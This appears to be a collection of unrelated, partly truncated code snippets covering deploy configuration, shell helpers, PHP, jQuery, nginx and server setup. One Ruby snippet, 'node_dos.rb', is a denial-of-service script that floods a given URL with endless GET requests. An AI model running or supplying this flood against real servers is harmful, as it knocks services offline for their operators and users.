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# The deploy strategies are:
# checkout (default) - This makes the servers do a git clone to update code
# export             - This makes a git export instead of checkout (But what really happens is a checkout
#                      followed by a deletion of the .git-dirs, use checkout instead)
# remote_cache       - This keeps a remote git repo on the servers, when deploying it does a git pull
#                      and copies the files to the release path.
# copy               - This strategy checks out the branch to your local machine, compresses it, and copies
#                      the code to each server and uncompress it. This is smart when Github is failing.
#                      But if you live in Belgium and need to upload it to the danish servers, you might
#                      not want to use it. 

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class Worker
  def hello(work)
    work.call
  end

  def name(n)
    "Worker #{n}"
  end
end

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# brew install youtube-dl

function youtube_music
{
  $(youtube-dl -f 37/22/18 "$1" --extract-audio --audio-format mp3 | tee /dev/tty)
}

function youtube_video
{
  $(youtube-dl -f 37/22/18 "$1" | tee /dev/tty)

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{
  success: true,
  data: {
    utilUpdate: "",
    utilUpdateAppStoreText: "",
    utilUpdateForce: "",
    alertNoInternetConnectionHeader: "No internet connection",
    alertNoInternetConnectionText: "What please get online to use this sweet functionality",
    alertValidationNoEmailHeader: "",
    alertValidationNoEmailText: "",

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<?php
// Haversine
function distancekm($lat1,$lon1,$lat2,$lon2)
{
  $R = 6371; // km
	$dLat = deg2rad($lat2-$lat1); // to radians
	$dLon = deg2rad($lon2-$lon1); 
	$a = sin($dLat/2) * sin($dLat/2) +
	        cos(deg2rad($lat1)) * cos(deg2rad($lat2)) * 
	        sin($dLon/2) * sin($dLon/2); 

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  $('.jcrop').on('load', function(){
    image = $(this);
    ratio = image.data('ratio').split('x');
    ratio = parseFloat(ratio[0]) / parseFloat(ratio[1]);

    x1     = image.data('x1');
    y1     = image.data('y1');
    x2     = image.data('x2');
    y2     = image.data('y2');
    width  = image.data('width');

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require "socket"
require "uri"

url = URI.parse(ARGV.first || abort("Usage: node_dos.rb <url>"))
sock = TCPSocket.new(url.host, url.port)

loop do
  sock.write "GET / HTTP/1.1\r\n\r\n"
end

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# create /etc/nginx/sites-available/wupwup.dk
upstream unicorn {
  server 127.0.0.1:8000; # unicorn is set to listen on port 8000
}

server {
  listen       80;
  server_name  wupwup.dk;

  location / {

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#!/bin/bash
# <UDF name="HOSTNAME" Label="server hostname" default="linode"/>
# <udf name="PACKAGES" label="Packages to install" manyOf="Varnish, Nginx, Postgres, Redis, Beanstalk, Memcache" default="">

###########################################################
# System Helpers
###########################################################
 
function system_update {
    apt-get update

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table width=500 height=100
  tr
    - @dates[:range].each do |date|
      td width=( (100.0 / @dates[:range].size).to_f.to_s + "%" ) style="background: #000000;" #width
        = (date[:traffic] / @dates[:max]).to_i #height